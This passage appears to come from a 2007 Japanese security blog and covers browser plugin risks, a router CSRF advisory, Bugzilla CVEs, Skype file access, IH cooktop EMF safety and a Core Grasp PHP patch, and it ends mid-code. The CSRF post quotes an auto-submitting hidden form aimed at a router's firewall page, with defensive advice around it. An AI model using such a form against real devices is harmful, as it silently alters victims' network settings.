ブラウザウィンドウの右下のNoScriptアイコンをクリックしオプション設定画面を開きます。下のスクリーンショットのように設定します。

(追記:間違ってチェックを入れていない危険な設定画面の方をアップロードしていたので差し替えました)
基本的に全てのプラグインは危険です。
このブログを読まれている方は大丈夫と思いますが、Javaアプレットを使用しているサイトには、悪気は無いと思われますが、セキュリティを全く考慮していない設定を行わせるサイトもあったりします。Flash Playerにはリファラを改ざんできる脆弱性があったり(Anti-anti DNS Pinningなどに利用可能)DNS multi pinningにも利用されます。PDFにはJavaScript実行可能な脆弱性がありました。Sliverlightもリリースされたばかりなのでセキュリティホールが見つかってもおかしくないです。SilverlightもDNS multi pinningに使えると思います。QuickTimeは任意コマンド実行の脆弱性がまだ直っていません。以下のQuickTimeの脆弱性は1年物だそうです。
http://www.gnucitizen.org/blog/0day-quicktime-pwns-firefox
(この脆弱性、IEでも有効だそうです)
このようにJavaScriptの実行も脅威ですがプラグインの実行もかなり危険です。せっかくNoScriptをインストールしている方は全てのプラグイン実行をデフォルトで拒否した方がより安全にブラウズできます。
次にNoScriptの使い方です。多くの方が自分がよく利用しているサイトをホワイトリストに追加していると思います。基本的にはこの使い方で構わないですが、例外があります。ログインを必要とし、かつ頻繁にログインするサイトはJavaScriptの実行は拒否した状態で利用する方が安全です。クロスサイトスクリプティング脆弱性でセッションIDを盗まれない為です。有名なサイトでもクロスサイトスクリプティング脆弱性は見つかっています。ログインが必要なサイトのメンバの場合、ブラックリストに登録しておく方が安全です。もちろんログインした後、必要なくなったらログアウトすることも重要です。
iframeは攻撃に多用される機能です。本当は禁止にした方が良い項目です。しかし、スクリーンショットを取ったブラウザで怪しいサイトは参照しないので無効には設定していません。気になる方は「iframeを禁止する」にもチェックを入れるとよいでしょう。
1 コメント
コメントを残す
MSが勝手にWindows Update関連ファイルを更新
リンク: http://blogs.zdnet.com/hardware/?cat=55
ZD Net本家のブログによるとMSは何の通知もなしに勝手にXP/VistaのWindows Update関連ファイル更新しているそうです。「勝手に更新」とはWindows Updateを実行しない設定にしているにも関わらず密かにアップデートしている、と言うことです。
変更されたファイルは以下のファイルだそうです。
The files on Vista are:
* wuapi.dll
* wuapp.exe
* wuauclt.exe
* wuaueng.dll
* wucltux.dll
* wudriver.dll
* wups.dll
* wups2.dll
* wuwebv.dllAnd on XP SP2:
* cdm.dll
* wuapi.dll
* wuauclt.exe
* wuaucpl.cpl
* wuaueng.dll
* wucltui.dll
* wups.dll
* wups2.dll
* wuweb.dll
Windows Updateだけは何が何でも最新版にしたかったのか、古いバージョンをメンテナンスするのが面倒になったのか、理由は分かりませんがQA/テストを行っている方には非常に迷惑な話です。
好意的に推測するとWindows Updateのファイルの更新が必要な場合、先に更新しておかないと一旦Windows Updateを終了し、またWindows Updateを実行しなければならないからだと思います。
理由はともかく、他人のPCにインストールされているファイルを密かに更新するのはマルウェア的すぎます。
追記:
MSによるとサービス開始以来Windows Updateのファイルは密かに更新しており通常の動作だとの事です。
Microsoft said that the Windows Update service automatically updates itself "from time to time to ensure that it is running the most current technology." "This is normal behavior, and it has worked this way since the service debuted several years ago," the company said.
http://www.itworld.com/Comp/2218/070913msupdates/
古いURLとか、維持したくなかったのかな?
フィードバックはまだありません...
コメントを残す
$100/Gflopsを切るクラスタ
リンク: http://www.clustermonkey.net//content/view/211/1/
Athlon64 X2 3800+四台のクラスタで26.25Gflops、コストは$2470。$100/Gflopsを切ってます。今年の夏でAthlon64 X2 3800+を使っているあたりからもコストをかなり気にして部品を買っている事が分かります。トータルコストで$2500を切る意気込み(というか予算が$2500だったのでしょうけど)はNICの買い方からもうかがえます。
Network Adaptor Intel PRO/1000 PT PCI-Express NIC (node-to-switch) $41.00 4 $164.00
Network Adaptor Intel PRO/100 S PCI NIC (master-to-world) $15.00 1 $15.00
TOP500のスーパーコンピュータの時期と順位の関係は以下だそうです。
http://www.top500.org/
* Nov. 1993: #6
* Nov. 1994: #12
* Nov. 1995: #31
* Nov. 1996: #60
* Nov. 1997: #122
* Nov. 1998: #275
* June 1999: #439
* Nov. 1999: Off the list
クアッドコアCPUを使えばかなりの速度になると思います。100Gflopsくらいなら気軽(?)に作れるようになりましたね。
詳しくは以下をどうぞ。
http://www.calvin.edu/%7Eadams/research/microwulf/
個人的に使うとしたらdistccでビルドマシンとかに使えそうです。しかし、普通に使える4台構成にした方がいろんな意味で幸せな気がします。
追記:
似たような物がないかちょっと調べると2003年にDual Opteron 4台クラスタの結果が見つかりました。18.8Gflopsでした。パラメータが違いますが詳しくは両方のリンクの中身を参照ください。
http://www.google.co.jp/url?sa=t&ct=res&cd=3&url=http%3A%2F%2Fwww.softek.co.jp%2FSPG%2FPgi%2FTIPS%2Fpdf%2FPGI-Opteron.pdf&ei=bkToRq-lJqKwsgK_hfX4BA&usg=AFQjCNFimrTnX2pPFPnOb2Jc9DknceLUGw&sig2=_bCnKlNqk3n7cBcDGaA-YA
そういえばIntelが80コアで1TflopsのFPUを開発した、とかニュースになっていたので数年Tflopsくらいなら気軽(?)に作れるようになるのでしょうね。
1年前の記事ですがトースターサイズで200Gflopsな物も
トースターサイズの箱で200GFLOPS、ペンティアム4を載せたPC 45台分の演算能力があるとのこと。なにか他のことに使いたいなと思った方、価格は不明ですが買えないことだけは確実です。
http://japanese.engadget.com/2006/01/17/powerblock-200-cell/
この記事を見てPS3を思い出しました。メモリが小さいのがネックですがPS3を4台クラスタにした方がMicrowulfよりコストパフォーマンスが良かったりして。
フィードバックはまだありません...
コメントを残す
MomongaLinux 4 完全インストールガイドが第一位
リンク: http://itpro.nikkeibp.co.jp/article/COLUMN/20070830/280784/
ITProの「昨日のLinuxランキング」で他の完全インストールガイドを抑え、MomongaLinux 4が第一位でした。
「先週のLinuxランキングでもMomongaLinuxの記事が一位!
プロジェクトメンバとして最近全然なにもしてないですが、うれしかったのでスクリーンショットを撮っておきました :)

フィードバックはまだありません...
コメントを残す
一部(?)のSIPデバイスは危ない
リンク: http://www.zone-h.org/content/view/14825/31/
VoIPはセキュリティ上の脅威としてトップレベルに位置する機能です。Zone-Hに書いてある内容が幅広いSIPデバイスに適用できるとするとかなりの脅威です。
The research that was published indicates that, for at least one vendor, it is possible to automatically call a SIP device from that vendor and have it silently accept the call, even if it is still on the hook - instantly turning it into a classic bugged phone. Whereas historic telephony bugs needed physical targeting of the line running to a property or place of business, the presence of VoIP in the equation allows bugging from anywhere in the world with equal ability. Now anyone can do from their armchair what only spies and law enforcement used to be able to do from inside the telephone switch / pit / distribution board, though it's still illegal to do so.
少なくとも一つのベンダのSIPデバイスは話し中でも密かに着信し盗聴できた、としています。盗聴器が必要ないので気軽(!?)に盗聴できます。
どれくらいのデバイスに同様の問題があるか気になります。
参考:
SIP Phoneの検索結果
http://www.google.co.jp/search?q=SIP+Phone
フィードバックはまだありません...
コメントを残す
CSRFに脆弱なルータはWHR-G54Sだけではないはず
リンク: http://www.louhi.fi/advisory/buffalo_070907.txt
BaffaloのWHR-G54S
http://buffalo.jp/products/catalog/item/w/whr-g54s/
にCSRF脆弱性とレポートされています。海外製品のレポートは見かけますが、日本製のSOHOルータのレポートは記憶にないです。よくある脆弱性なので日本製のレポートは初めてではないと思いますが、個人的には初物なので書きました。
WHR−G54SはCSRF対策がない(足りない?)ので認証状態にあればFirewall設定を変更できるようです。
SOHOルータはよくターゲットにされるので管理ページにログインしたら、ログオフしてブラウザを終了させた方が良いと思います。ログオフ機能が無くても普通はログオフするとセッション情報は消去されるはずです。ログオフ機能が付いていてもブラウザを終了させるのは、ログオフ機能の実装にも問題あった場合でもセッションが切れるようにする為です。
サンプルコードを見ると
<body onload="document.CSRF.submit()">
<form name="CSRF" method="post"
action="http://192.168.11.1/cgi-bin/cgi?req=inp&res=filter_ip.html"
style="display:none">
の様にJavaScriptを使ってページを表示するだけでCSRF攻撃を行うコードになっています。フォームも非表示にしているので攻撃された事に利用者はまず気が付かないと思います。
管理用ページには割と頻繁にCSRF脆弱性やXSS脆弱性が見つかっています。SOHOルータに限らず、システム管理者の方は管理用ページにログインしたらログオフとブラウザの終了を行う癖をつけると良いと思います。管理用ページにアクセスするブラウザは普段使わないブラウザにする、仮想環境からのみアクセスする等はより効果的です。
# 私はできるだけ別のマシンから管理用ページを見るようにしています。
この種の攻撃を無闇に見ず知らずの他人に攻撃して成功させるのは比較的難しいと考えられます。しかし、標的型攻撃なら非常に簡単です。例えば、知人がCSRFに脆弱な管理ページで操作している、と知っていればログインしている間に攻撃者が作ったページに誘導して攻撃を成功させるのはそれほど難しくありません。
匿名性保証ができる攻撃者なら製品設定の解説サイトを作り、そのサイトに訪問したユーザに対してCSRF攻撃を行う方法も考えられます。この場合、攻撃に成功する確率はかなり高くなると思います。
フィードバックはまだありません...
コメントを残す
生体認証システムの脆弱性
リンク: http://www.irmplc.com/download_pdf.php?src=Biologger%20-%20A%20Biometric%20Keylogger.pdf&force=yes
元々生体認証は再生攻撃に弱く、通信経路の安全性確保は必須であることは常識だと思うのですが.... 生体認証システムには設計が脆弱な物もあるようです... どの製品と明記されていませんが、このホワイトペーパーに書いてある製品はダメ過ぎです。
フィードバックはまだありません...
コメントを残す
DoDへのクラッキング
リンク: http://www.securityfocus.com/news/11485
中国がDoDをクラックした、と話題ですがSecurityForcusの記事が詳しいのでメモとして。
フィードバックはまだありません...
コメントを残す
IHクッキングヒータ電磁波の安全性
全く専門外ですが電磁波は目に見えないうえ安全性に疑問を思っているので興味を思っています。
WHOは、具体的な規制値は示さなかったものの、日本や米国などでの疫学調査から「常時平均0.3―0.4マイクロテスラ(テスラは磁界や磁石の強さを表す単位)以上の電磁波にさらされていると小児白血病の発症率が2倍になる」との研究結果を支持。「電磁波と健康被害の直接の因果関係は認められないが、関連は否定できず、予防的な対策が必要だ」と結論づけた。
http://www.nikkei.co.jp/news/main/20070617STXKA015217062007.html
思っていたより小さな値で「電磁波と健康被害の直接の因果関係は認められないが、関連は否定できず、予防的な対策が必要だ」としている報道はずっと気になっていました。この報道だけでは送電線で発生する50/60Hzの超低周波電磁波の影響なのか分かりませんが恐らく超低周波電磁波を対象にしていると思います。とにかくポイントは「予防」として「常時電磁波にばく露しない」ように注意した方が良いとしている所です。海外ではすでに幼稚園・保育園・小学校など高圧送電線の近くに設置しないようにしている国もあります。
# 日本は裁判になり保育園・小学校などを高圧線の付近に設置差し
# 止め請求行われていますがが認められたケース無いようです。
IHクッキングヒータの購入も検討しているので久し振りに調べてみる事にしました。結論から書くとちょっと調べたくらいではIHクッキングヒータが発生する電磁波の安全性・危険性について納得できる情報は見つかりませんでした。すでに購入済みで気になる場合は電磁波防止エプロンなどを着れば良いと思います。
# ただし、市販の電磁波防止グッズは信頼性に欠ける物も多いよう
# なので注意が必要。
電子レンジは2GHz以上(通常は2.45GHz)の超高周波で水や脂肪などがエネルギーを吸収して加熱します。IHクッキングヒータは鍋やフライパンに電流を流しその電気抵抗で加熱します。電流を発生させる周波数は20kHz、オールメタルでは60kHzから90kHzくらいまで利用しています。
検索するとIHクッキングヒータは「電子レンジの扉が開いているようなもの」と素人の私でもすぐに分かるような全く勘違いしているページが検索結果の上位に出てきたりします。いきなり調べる気力がなくなりそうになりましたが、気を取り直してもう少し有用なサイトが無いか調べると石川県消費生活支援センターのホームページに平成14年に行ったテスト結果が載っていました。
○ 携帯電話(15機種を測定)
携帯電話の近接(0㎝)の電磁界は0.1mG~1,400mGでした。
○ 電子レンジ(18機種を測定)
電子レンジ本体近接(0㎝)の電磁界は46.3~1,426mGの範囲にあり、200mGを超えたものは9機種でした。
○ パソコン(15機種を測定)
パソコン本体近接(0㎝)の電磁界は0.1~35mGにあり、30mGを超えたのは2機種でした。
○ テレビ(18機種を測定)
テレビ近接(0㎝)の電磁界は、2.3~111mGでした。
○ 電磁調理器(3機種を測定)
電磁調理器のIH盤1台を使用したときの盤上0㎝(鍋ぶた)の電磁界は144~328mGでした。IH盤2台を同時に使用したときは、1台を使用したときの1.6~2倍でした。鍋径の小さい不適小鍋を使用したときは、盤上0㎝で1,407mG、950mGでした。
○ ホットカーペット(4機種を測定)
ホットカーペット近接(0㎝)で217~233mGでした。
○ 電気毛布(1機種を測定)
電気毛布近接(0㎝)で251mGでした。
○ 電気あんか(1機種を測定)
電気あんか近接(0㎝)で65mGでした。
http://www.pref.ishikawa.jp/shohicenter/p5H14.htm#5-2-14-3
曖昧さ無くす為だと思いますが全て0cmでテストしています。単位がマイクロテスラでなくミリガウスですが変換は簡単で1ミリガウス=0.1マイクロテスラです。JEMAによるとIHクッキングヒータの場合30cm離して規定の大きさの鍋で計測するとなっています。
http://www.jema-net.or.jp/Japanese/kaden/ih/ih-08.htm
どのような計測器を使用したかも記載されていました。
電磁界テスター(3軸式低周波ガウスメーター、米国F.W.BELL社製)
とあったのでググると計測に利用したと思われる機種に最も近い機種は「7030型 ハイエンド3軸ガウスメータ」でした。
http://www.toyo.co.jp/bell/7010.html
簡易型のガウスメータの購入も考えていたのでこれの仕様を見て本格的過ぎて驚きました。とても個人で買えるような代物ではない事は一目瞭然です。しかもウォームアップ時間もかなりのモノです。
ウォームアップ時間
: 60 分
これだけの計測器なので、最近話題になっている超低周波の電磁波だけでなく計測可能な全周波数帯(URLの機種は50kHzまで)の合計値が掲載されているのだと思います。ここに掲載されている電磁調理器の電磁波の強さは
http://www.jema-net.or.jp/Japanese/kaden/ih/ih-08.htm
に掲載されている「ICNIRP(国際非電離放射線防護委員会)が発表している限度値」「60Hzで1000mG」「50Hzで833mG」の値に適合していると思われます。
電磁波の健康への影響は周波数、強さとばく露時間も問題ですが総務省の研究結果
http://www.soumu.go.jp/s-news/2007/pdf/070427_12_bt.pdf
ではほとんどの調査結果は特にリスクの変化はなかったとしています。
普通のIHの場合は20kHzくらいを利用し、オールメタルの場合は60kHz~90kHzくらいまでを使うようです。このあたりの周波数の安全性研究はどうなっているのか気になる所です。
安全性以外には当然ですがIHだと中華料理は作りづらいと思います。以下のURL(ガス屋さんのURLなのである程度差し引いて受け止める必要あり)にも煮物は作りづらいと書いてあります。
http://takayama-gass.com/gd_tyouri.html
IHの場合、掃除は簡単ですが料理がやりづらいのは仕方ないですね。
国際非電離放射線防護委員会(ICNIRP)の防護指針
http://wwwsoc.nii.ac.jp/jhps/j/information/nonioniz/icnirp.html
に適合していれば、とりあえずはリスクは低いと考えても良いとは思います。
# 満員電車の中は携帯電話のおかげでこの基準値以上で危険かも、とか
# 地中に埋められている高圧線には基準(1万ボルト=1m)が適用されず
# 基準値オーバで危険かも、書かれたページもありました。携帯電話
# などの高周波はかなり研究されているので多少オーバしたくらいでは
# いきなり影響がでるような事はないと思います。
ところで発電所や電気工事など、長時間強い電磁波にばく露している方と一般の方の健康状態を比較すれば超低周波電磁波の影響が分かりやすそうに思えます。国際的な基準とされるICNIRPの防護指針でも仕事の場合は何倍もの電磁波ばく露も基準内となっています。素人考えなのかな?
個人的な問題としてIHを買うか?ですが購入の方向で検討します。
参考:
今夜は鍋にしましょうか? - 火を使わないIH調理器の仕組み-
http://www.tdk.co.jp/techmag/knowledge/200501/index.htm
誘導加熱
http://ja.wikipedia.org/wiki/%E8%AA%98%E5%B0%8E%E5%8A%A0%E7%86%B1
Microwave Oven
http://en.wikipedia.org/wiki/Microwave_oven
7 コメント
IHに関しては、以前から興味を持っていましたし、いろいろ調べました。何機種も使ったことがあります。
電磁波に関しては、専門外なので置いておいて。
まず火力。
ガス屋さんのサイトだと、大抵ガスはアルミ鍋、IHは素連レスとかで比較していますね。当たり前ですがちょっと不公平です...
僕の経験だと、同じ鍋ならIHの方がずっと火力が強いです。(業務用ガスを除く)
また、煮込みに関しても、超トロ火が使えるIHが有利だと思います。紹介のサイトでは、鍋底のみから熱が伝わる云々が書かれていますが、ステンレス多層鍋を使用すればそういったデメリットは感じられません。
唯一はやはり中華。
こればっかりは、上手な人ならガスの方がいいでしょうね。IHでは丸底が無理ですので。
ただ、家庭用のガスは火力が弱いし、最近の一部のIHであれば鍋を浮かせても瞬時に加熱されるので、それほど差はないと思っています。
あとIHは掃除が簡単ですね。ガスでも最近はガラス天盤になっていますが、上昇気流が発生するのでどうしても油が飛び散ります。
というわけで、僕はIH派です。
でも、都市ガスの提供エリアならちょっと考えるかなぁ
疫学研究はされています。
1994年。22,3000人の電気事業労働者を対象にした研究。「ガンの発病率が増大するという総括的な結果はない」
1995年。ナンシー・ヴェアサイマーの疫学調査を追試。ノースカロライナ大学、デーヴィッド・サヴィツ。アメリカの電気事業労働者の調査結果。脳腫瘍だけに、小さな相関。ただし、統計的問題である可能性が大。
前、二つの調査では、一般人100対電気事業労働者86で、電気事業労働者の方がガンになりにくい。おそらく、外乱要因(肉体労働をしている人は、他の全ての人と比べた場合にはガンになりにくいとか)。
ご参考にどうぞ。
ちなみに、私は普通の生活で暴露する電磁波が健康に悪影響を与える説には、「まともな根拠がない」と考えています。
> 上昇気流が発生するのでどうしても油が飛び散ります。
先日、新築一戸建ての完成内覧会に行ったとき換気扇が横(上でなく本当に壁にそって横)についてるものを見ました。担当の方曰く「メーカの方はIHだと上昇気流が発生しないのでこっち(横)の方が良く吸える」との事らしいです。確かに換気扇からコンロへの距離はかなり近いです。IHにしようと思いますが、さすがに調理している物が熱くなるので多少は上昇気流が発生し、横では辛いのではないか?と思います。使っている方に聞いてみたいですが、一応換気扇は上にします。
> 私は普通の生活で暴露する電磁波が健康に悪影響を与える説には、「まともな根拠がない」と考えています。
私も基本的には同じ考えです。電気事業労働者の方がガンが少なかったのは非常に興味深いです。適度な運動はガンにも効く可能性が高いのですね。電磁波より万年運動不足の心配をした方がよほど現実的ですね。
本来消防法では違反なのですが、戸建て家庭では黙認されているようです。
通常の換気扇であれば、渦巻き式の物が換気がいいです。
あと、当然食べ物は熱くなりますが、部屋はあまり熱くはならないです。ガスだと、夏場のキッチンは地獄ですが...
ちなみに、僕は新築注文住宅を建てまして、実は明日が引き渡しだったりします...
当然、IHです。(東芝製)
火力は普通の家庭のガスコンロと比較しても、別に気になるようなことは無かったです(機種にもよるんでしょうけど)。
個人的にはフライパンでの焼き物の時に、中心部と周辺部の温度が違って、焼きが偏るという大変さがありました(ギョーザとか)。IHでは時間差焼きとか移動させてとかの方法を使って対処する必要がありました。ガスでも違いは出ますが、そこまでする必要はありませんでした。
> 本来消防法では違反なのですが、戸建て家庭では黙認されているようです。
違反なのですね。参考になりました。
> ちなみに、僕は新築注文住宅を建てまして、実は明日が引き渡しだったりします..
おめでとうございます。新築注文住宅と言う事でいろいろ苦労される事もあったと思いますが一段落ですね。
> 個人的にはフライパンでの焼き物の時に、中心部と周辺部の温度が
> 違って、焼きが偏るという大変さがありました(ギョーザとか)。
> IHでは時間差焼きとか移動させてとかの方法を使って対処する必要
> がありました。ガスでも違いは出ますが、そこまでする必要はあり
> ませんでした。
これは知りませんでした。子供が小さいので卵焼きが大好きなのですが
作りづらそうですね。
でもIHにすると思います。
皆さんIH用のレンジフードつけましたか。
コメントを残す
サーバシグニチャは隠すのが当たり前
リンク: http://slashdot.jp/security/07/09/03/0219247.shtml
私も何年も前からセミナーではサーバ、モジュールバージョンは隠すようにと言っています。何故こんな事で賛否両論になるのか全く理解できません。犯罪者がどのように攻撃するか?を考えればなぜ隠す必要があるのか理由は明白です。サーバのバージョン情報が詳しく公開されていれば、その情報を使うに決まっています。攻撃に使える情報は全て使わない訳がありません。
最新版を使っているから安全ではない事も明白です。サーバに0day攻撃の脆弱性が発見された場合どの情報を使います?公開または推測できるバージョン情報に決まっています。
フィンガープリンティングでかなりの確率で推測可能、という議論もあるとは思います。しかし、適切に運用/設定されているシステムなら細かいバージョン番号までは推測できない場合が多いと考えられます。
犯罪者が攻撃に利用している、利用する可能性が高いと分かっている情報を わざわざ広く一般に公開しない方が良いに決まっていると思います。
近所で空き巣が多発しているにも関わらず「ただいま留守です」「鍵もかかっていません」とわざわざ正直に張り紙をする人がいるでしょうか?
「家を留守にする前に戸締まりをしてから出かけましょう」というアドバイスに対して「窓ガラスを割れば..」「ピッキングをすれば...」と「留守の戸締まりはあまり意味ない」と反論しているような議論は必要ないと思います。
3 コメント
バージョン番号を隠すのは古いバージョンを使っている事を隠すことが目的ではありません。念のため。
>サーバのバージョン情報が詳しく公開されていれば、その情報を使うに決まっています。攻撃に使える情報は全て使わない訳がありません。
ここは関係ないと思う・・・。
サーバの情報読み取って攻撃手法変えるなんてしていなくて
「とりあえず全部やってみる」
ってのが攻撃者のパターンなんじゃないかなー、と。
> ってのが攻撃者のパターンなんじゃないかなー、と。
「下手な鉄砲数打ちゃあたる」方式が多いとは思います。どうせプログラムだし面倒なので手当たりしだい、という方法は多いですね。自動ではなく在る程度人間が脆弱性を選んで攻撃するときは、手間なのでバージョンを選んで攻撃すると思います。Defacement目的の攻撃等ではバージョン検索して攻撃が主流ではないか、と思います。
話が全く変わりますが、カナダでは玄関に鍵をかける習慣が無いと教えてもらいました。
これはこれで防犯上は良い効果があると思いました。
# コンピュータセキュリティではこの種のノーガード戦法は採用できませんが、
# リスクを丸ごと無くす事はできます。Webは使わないとか(w
コメントを残す
ネットバンキング被害が急増
ちょっと古いですが全銀協の資料によると、今年になってからネットバンキングの不正送金などの被害が急増しているようです。海外と比べると金額は少ないですが急増しているのは確かです。
http://www.zenginkyo.or.jp/news/19/index190823.html
普及率の問題もありますが言語の壁さえ乗り越えられれば日本のユーザは狙いやすいと思います。キャッシュカードや通帳などの物理的な物を必要とする不正送金被害とネットバンキングの被害金額が逆転するのは時間の問題でしょう。
5 コメント
口座番号とパスワードでログインさせるネットバンキングはどうにかしてほしいなあと思ってます.ログイン用の別の ID がほしいところ.
> ほしいなあと思ってます.ログイン用の別の ID がほしいところ.
その通りですね。口座番号はログインに利用してはならないと思います。
数字のみの暗証番号も禁止した方が良いと思います。日本の場合、キャッシュカードなどの誕生日/電話/住所に関連する数字を付けている方がかなりの割合になります。誕生日/電話/住所情報は個人が特定できれば比較的簡単に入手できるはずです。口座番号を知っていればボットネットを使って1口座1日1回づつ試してもかなりの数の不正ログインが可能になると思います。
随分前にモバイルデバイスなど利用したセキュリティの確保方法(ワンタイムワスワード方式)をこのブログで紹介したのですが、この方法を採用した銀行を聞いた事がないです。誰に聞いた訳でもなく自分で考えたのですが、誰でも考えつくかなり安全かつ安価なログイン方法だと思うのですが... 特許でも取得しているのかもしれませんね...
モバイル機器を使ったワンタイムパスワードは確か幾つかの会社で製品化されていたと思います。それを使っているというのは確かにあまり聞かないかもしれません。
コメントを残す
BIND8もメンテナンス終了
リンク: http://www.isc.org/sw/bind/bind8-eol.php
また別のDNSキャッシュ汚染脆弱性が見つかったBIND8ですが、2007/8/27でメンテナンス終了と宣言しています。
ISC is announcing BIND 8 to be End of Life as of today, 27 August 2007.
ISC strongly encourages users who depend on BIND 8 to migrate to BIND 9 as soon as possible.
djbdnsを使っているので影響ないですがBIND8が残っているシステム管理者の方、ご苦労さまです...
どうせアップグレードするなら別のDNSサーバも検討してみるのも良いかも知れません。
DJBDNS
http://djbdns.qmail.jp/
PowerDNS
http://www.powerdns.com/
MaraDNS
http://www.maradns.org/
Name Server Deamon
http://www.nlnetlabs.nl/nsd/
dents
http://sourceforge.net/projects/dents/
pdnsd
http://www.phys.uu.nl/~rombouts/pdnsd/index.html
Dual DHCP DNS Server
http://sourceforge.net/projects/dhcp-dns-server/
Oak DNS Server
http://www.digitallumber.com/oak/
Zero Calorie DNS Server
http://www.datazygte.com/downloads.html
dnsjava
http://www.dnsjava.org/index.html
Posadis DNS Server
http://sourceforge.net/projects/posadis/
RB DNS
http://sourceforge.net/projects/rbdns/
JDNSS
http://sourceforge.net/projects/jdnss/
CustomDNS
http://sourceforge.net/projects/customdns/
MyDNS
http://sourceforge.net/projects/mydns/
探してみるとたくさんありますね。
フィードバックはまだありません...
コメントを残す
バグが少ないブラウザがより安全とは限らない
リンク: http://www.securityfocus.com/brief/578
Honeypotプロジェクトの調査の結果、興味深いというか、予想通りの結果になったようです。
Older versions of the three major browsers for Windows -- Microsoft's Internet Explorer 6 SP2, Mozilla's Firefox 1.5.0, and Opera's Opera 8.0.0 -- were each used to browse the same subset, about 10 percent, of the sites. While researchers have disclosed about twice as many vulnerabilities for Firefox 1.5.0 as for Internet Explorer 6 SP2, the Honeynet Project found no attacks against the browser. Microsoft's Web software, however, was compromised nearly 200 times.
攻撃する人も効率良く攻撃するためにシェアの多いのIEは200回攻撃されたにも関わらず、バグの多い古いFirefox、Operaは攻撃されなかったそうです。
The survey used a large list of 300,000 URLs belonging to about 150,000 hosts, finding that pornographic sites have the highest incidence -- about 0.6 percent -- of malicious sites, but that all categories included some sites that could lead to compromise.
これも予想どおりですがアダルトサイトが最もリスクが高いようです。しかし、全てのタイプのサイトから攻撃される可能性があるとしています。
A fully-patched version of Internet Explorer 6 visited 2,289 malicious sites, none of which managed to compromise the system.
2289の悪意のあるサイトは全てパッチ済みのIEに対して攻撃を成功させることはなかったそうです。
http://blogs.zdnet.com/security/?p=474
にはリモートコード実行脆弱性数のグラフが載っています。Firefoxが断トツです。
1 コメント
Firefoxはアプリがチェックしますが、IEはWindowsUpdate/MicrosoftUpdateがチェックします。WindowsUpdateを無効にしているユーザがかなりいるので結局はセキュリティホールが残ったブラウザを利用しているユーザはIEが断トツに多い結果になっているのだと推測できます。
IEだけはアプリ単位でアップデートするようにしたら既知のブラウザ脆弱性を攻撃される数をかなり減らすことができると思います。
コメントを残す
SkypeがLinuxユーザデータも収集?
リンク: http://www.theinquirer.net/?article=41932
「No spyware, adware, malware」としているSkypeですが
Much to his horror he found that Skype kept asking to see all the details of his Firefox software and its plug-ins.
とLinux版ではFirefoxとプラグインの情報を収集している疑いがあるようです。別の情報
http://www.heise-security.co.uk/news/94975
によると
One possible reason to read the Firefox directory is in order to retrieve from there proxy settings as it is done by Skype for Windows with Internet Explorer. This is supported by tests performed by heise Security, in which Skype opened only directories. The only real file it opened in the Firefox directory was prefs.js which does indeed contain the proxy settings. Another reason for Skype to access the user's directory might simply be to check if the user has installed the vendor's Firefox extension.
好意的に見ればプロキシ設定などを参照するためにpref.jsを読み取り、SkypeのFirefox拡張がインストールされているか確認している、とも考えられます。
試しに自分のLinuxのSkpyeでstraceしてみたところ通常の起動時にはfirefoxのファイルを読みにいかないようです。
今のところSkypeからのコメントは無いようですが「No spyware, adware, malware」と宣言するのであれば収集している情報がどのように利用されているか説明すべきでしょう。
ところで、PC版ではBIOS情報を収集している疑いがあるようです。
フィードバックはまだありません...
コメントを残す
Storm Site
F-Secureのyoutube動画です。ブラウザのバグを利用して何らかのプログラムを実行させるようです。
http://www.youtube.com/watch?v=fm9ikZs5o38
知らないメールのリンクはクリックしてはならない、と言うだけではインパクトが少ないのでこのビデオは役に立つかも。ただ、音が悪いの難点です。
フィードバックはまだありません...
コメントを残す
Bugzillaのセキュリティホール
Bugzillaに結構重要なセキュリティホールがレポートされています。
CVE-2007-4538
email_in.pl in Bugzilla 2.23.4 through 3.0.0 allows remote attackers to execute arbitrary commands via the -f (From address) option to the Email::Send::Sendmail function, probably involving shell metacharacters.
CVE-2007-4539
The WebService (XML-RPC) interface in Bugzilla 2.23.3 through 3.0.0 does not enforce permissions for the time-tracking fields of bugs, which allows remote attackers to obtain sensitive information via certain XML-RPC requests, as demonstrated by the (1) Deadline and (2) Estimated Time fields.
http://www.bugzilla.org/security/2.20.4/
によると8/23には修正版が公開されたようです。コマンドインジェクションなので早くアップグレードする必要があります。
フィードバックはまだありません...
コメントを残す
Core Grasp
リンク: http://grasp.coresecurity.com/
遅ればせながらCore Graspのパッチを読みました。超ななめ読みなので勘違いしているかも知れません。間違っていたら教えてください。
一番興味があったのはSQLインジェクションの自動検出はどうなっているのかです。以下の関数がSQLインジェクションチェックに利用されています。
+int grasp_check_query(zval *z)
+{
+ char *c,*s;
+ int i,j,l;
+ char q;
+
+ if (grasp_isfull_p(z)) return 0;
+ if (!grasp_isptr_p(z)) return 1;
+ if (z->type != IS_STRING && z->type != IS_CONSTANT) return 1;
+
+
+ l = z->value.str.len;
+ c = z->value.str.val;
+ s = z->secmark;
+
+
+ for(i = 0; i<l; i++)
+ {
+ if (s[i] && (c[i]=='-'))
+ {
+ i++;
+ if(!(c[i] < '0' || c[i] > '9'))
+ {
+ for(i;i<l;i++)
+ {
+ if (c[i] < '0' || c[i] > '9')
+ {
+ if (!s[i])
+ break;
+ else
+ return 0;
+ }
+ }
+ }
+ else
+ {
+ return 0;
+ }
+ if(i == l) return 1;
+ }
+
+
+ if (s[i] && (c[i] < '0' || c[i] > '9')) return 0;
+
+ if (c[i] == '¥¥')
+ {
+ i++;
+ if (s[i]) return 0;
+ } else
+ if (c[i] == '¥'' || c[i] == '¥"' || c[i] == '`')
+ {
+ q = c[i];
+ for(i++; i<l; i++)
+ {
+ if (c[i] == '¥¥')
+ i++; else
+ if (c[i] == q)
+ break;
+ }
+ if (i<l && s[i]) return 0;
+ }
+ }
+ return 1;
+}
どうも文字列の各文字が安全かチェックして安全でない場合はエラーにしているようです。単純に「この文字列(ZVAL)は関数で処理済みで安全」とマークしている訳でないようです。
ではmysql_real_escape_stringとかを拡張して安全マークを追加しているのかな?と思ったらしていないようです。代わりにaddslashesが拡張されていました。
PHP_FUNCTION(addslashes)
{
zval **str;
+#ifdef HAVE_GRASP
+ char *res, *secm;
+#endif
if (ZEND_NUM_ARGS() != 1 || zend_get_parameters_ex(1, &str) == FAILURE) {
WRONG_PARAM_COUNT;
@@ -2884,11 +3266,23 @@ PHP_FUNCTION(addslashes)
if (Z_STRLEN_PP(str) == 0) {
RETURN_EMPTY_STRING();
}
+#ifdef HAVE_GRASP
+ grasp_normalize(*str);
+ res = 0;
+ secm = 0;
+ //grasp_setptr_p(return_value, zend_get_parameters_secmark());
+ res = php_addslashes_secmark(Z_STRVAL_PP(str),
